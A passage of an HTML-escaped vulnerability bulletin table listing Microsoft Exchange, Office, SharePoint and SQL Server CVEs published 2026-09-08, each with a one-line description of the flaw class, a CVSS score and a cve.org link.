&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69356&quot; target=&quot;_blank&quot;&gt;CVE-2026-69356&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Exchange Server 2016 Cumulative Update 23&lt;/td&gt;
&lt;td&gt;Missing authorization in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69641&quot; target=&quot;_blank&quot;&gt;CVE-2026-69641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Exchange Server 2016 Cumulative Update 23&lt;/td&gt;
&lt;td&gt;External control of file name or path in Microsoft Exchange Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69355&quot; target=&quot;_blank&quot;&gt;CVE-2026-69355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Exchange Server 2016 Cumulative Update 23&lt;/td&gt;
&lt;td&gt;Missing authorization in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69380&quot; target=&quot;_blank&quot;&gt;CVE-2026-69380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Exchange Server 2016 Cumulative Update 23&lt;/td&gt;
&lt;td&gt;Uncontrolled recursion in Microsoft Exchange Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69378&quot; target=&quot;_blank&quot;&gt;CVE-2026-69378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Exchange Server 2019 Cumulative Update 14&lt;/td&gt;
&lt;td&gt;Double free in Microsoft Exchange Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55007&quot; target=&quot;_blank&quot;&gt;CVE-2026-55007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Office 365 for Mac&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78439&quot; target=&quot;_blank&quot;&gt;CVE-2026-78439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Improper access control in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69268&quot; target=&quot;_blank&quot;&gt;CVE-2026-69268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Improper access control in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69273&quot; target=&quot;_blank&quot;&gt;CVE-2026-69273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Improper access control in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69282&quot; target=&quot;_blank&quot;&gt;CVE-2026-69282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Execution with unnecessary privileges in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69464&quot; target=&quot;_blank&quot;&gt;CVE-2026-69464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Missing authorization in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69465&quot; target=&quot;_blank&quot;&gt;CVE-2026-69465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an sql command (&#039;sql injection&#039;) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69716&quot; target=&quot;_blank&quot;&gt;CVE-2026-69716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Missing authorization in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69724&quot; target=&quot;_blank&quot;&gt;CVE-2026-69724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69402&quot; target=&quot;_blank&quot;&gt;CVE-2026-69402&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69417&quot; target=&quot;_blank&quot;&gt;CVE-2026-69417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Time-of-check time-of-use (toctou) race condition in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69804&quot; target=&quot;_blank&quot;&gt;CVE-2026-69804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Insufficient granularity of access control in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66814&quot; target=&quot;_blank&quot;&gt;CVE-2026-66814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Improper privilege management in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66818&quot; target=&quot;_blank&quot;&gt;CVE-2026-66818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an sql command (&#039;sql injection&#039;) in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66819&quot; target=&quot;_blank&quot;&gt;CVE-2026-66819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an sql command (&#039;sql injection&#039;) in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66820&quot; target=&quot;_blank&quot;&gt;CVE-2026-66820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67368&quot; target=&quot;_blank&quot;&gt;CVE-2026-67368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an sql command (&#039;sql injection&#039;) in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67370&quot; target=&quot;_blank&quot;&gt;CVE-2026-67370&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67380&quot; target=&quot;_blank&quot;&gt;CVE-2026-67380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67381&quot; target=&quot;_blank&quot;&gt;CVE-2026-67381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67384&quot; target=&quot;_blank&quot;&gt;CVE-2026-67384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Use after free in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67385&quot; target=&quot;_blank&quot;&gt;CVE-2026-67385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67388&quot; target=&quot;_blank&quot;&gt;CVE-2026-67388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67631&quot; target=&quot;_blank&quot;&gt;CVE-2026-67631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67639&quot; target=&quot;_blank&quot;&gt;CVE-2026-67639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68775&quot; target=&quot;_blank&quot;&gt;CVE-2026-68775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68786&quot; target=&quot;_blank&quot;&gt;CVE-2026-68786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Improper access control in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73028&quot; target=&quot;_blank&quot;&gt;CVE-2026-73028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Insufficient granularity of access control in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77480&quot; target=&quot;_blank&quot;&gt;CVE-2026-77480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77481&quot; target=&quot;_blank&quot;&gt;CVE-2026-77481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77482&quot; target=&quot;_blank&quot;&gt;CVE-2026-77482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Weak authentication in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77483&quot; target=&quot;_blank&quot;&gt;CVE-2026-77483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in SQL Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77486&quot; target=&quot;_blank&quot;&gt;CVE-2026-77486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Improper access control in SQL Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77487&quot; target=&quot;_blank&quot;&gt;CVE-2026-77487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows OLE DB allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78442&quot; target=&quot;_blank&quot;&gt;CVE-2026-78442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in SQL Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67376&quot; target=&quot;_blank&quot;&gt;CVE-2026-67376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68787&quot; target=&quot;_blank&quot;&gt;CVE-2026-68787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2017 (CU 31)&lt;/td&gt;
&lt;td&gt;Use after free in SQL Server allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77485&quot; target=&quot;_blank&quot;&gt;CVE-2026-77485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2019 (CU 32)&lt;/td&gt;
&lt;td&gt;Deserialization of untrusted data in SQL Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47297&quot; target=&quot;_blank&quot;&gt;CVE-2026-47297&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2019 (CU 32)&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67378&quot; target=&quot;_blank&quot;&gt;CVE-2026-67378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2019 (CU 32)&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67379&quot; target=&quot;_blank&quot;&gt;CVE-2026-67379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2019 (CU 32)&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67636&quot; target=&quot;_blank&quot;&gt;CVE-2026-67636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2019 (CU 32)&lt;/td&gt;
&lt;td&gt;Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77484&quot; target=&quot;_blank&quot;&gt;CVE-2026-77484&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2022 (CU 26)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67643&quot; target=&quot;_blank&quot;&gt;CVE-2026-67643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2022 (CU 26)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78456&quot; target=&quot;_blank&quot;&gt;CVE-2026-78456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2025 (CU8)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67373&quot; target=&quot;_blank&quot;&gt;CVE-2026-67373&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2025 (CU8)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67638&quot; target=&quot;_blank&quot;&gt;CVE-2026-67638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
